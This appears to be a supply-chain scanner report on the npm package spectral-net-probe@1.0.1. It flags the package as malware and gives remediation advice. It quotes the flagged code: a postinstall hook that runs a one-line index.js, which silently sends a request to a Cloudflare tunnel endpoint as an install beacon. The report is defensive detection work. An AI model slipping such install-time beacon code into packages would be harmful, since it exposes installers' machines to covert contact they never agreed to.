spectral-net-probe@1.0.1
registry probe
AI Security Review
scanned 7d ago · by lpm-firewall-aiThe postinstall hook makes an unconsented request to an unrelated tunnel endpoint, disclosing installation activity and the installer's network address. This is an installation beacon and warrants blocking.
Static reason
One or more suspicious static signals were detected.
Trigger
Installing the package and running its postinstall hook.
Impact
The remote endpoint can observe the installer's network address and that the package was installed.
Mechanism
The hook executes index.js, which sends an HTTPS GET request to the tunnel endpoint and suppresses request errors.
Attack narrative
Installing the package automatically runs a script that contacts a fixed external tunnel endpoint. The request has no consent gate and exposes the installer's network address and the timing of the installation to that endpoint.
AI rationale
The postinstall hook makes an unconsented request to an unrelated tunnel endpoint, disclosing installation activity and the installer's network address. This is an installation beacon and warrants blocking.
Evidence
package.jsonindex.js
Network endpoints1
nobody-johnston-with-enabling.trycloudflare.com/aa?x=1
Decision evidence
public snapshotAI called this Malicious at 94.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package automatically runs index.js during postinstall.
- The install-time script sends an HTTPS request to a fixed Cloudflare tunnel endpoint without a consent check.
- The request reveals that an installation occurred and exposes the installer's network address to the endpoint.
Evidence against
- The request contains only a fixed query value; the source does not explicitly collect host, user, project, or CI fields.
Behavioral surface
Network
HighEntropyStringsTrivialUrlStrings
Source & flagged code
4 flaggedpackage.jsonView file
•scripts.postinstall = node index.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg8"postinstall": "node index.js"
}
}
High
Suspicious Lifecycle Evidence
The package automatically runs index.js during postinstall.
package.jsonView on unpkg · L8index.jsView file
1const h=require('https');h.get('https://nobody-johnston-with-enabling.trycloudflare.com/aa?x=1',r=>r.resume()).on('error',()=>{});
High
Ai Review Evidence
The install-time script sends an HTTPS request to a fixed Cloudflare tunnel endpoint without a consent check.
index.jsView on unpkg · L1Findings
4 High1 Medium3 Low
HighInstall Time Lifecycle Scriptspackage.json
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to spectral-net-probe@1.0.1.
See all versions of spectral-net-probe for other recorded verdicts.
- Avoid installing spectral-net-probe@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.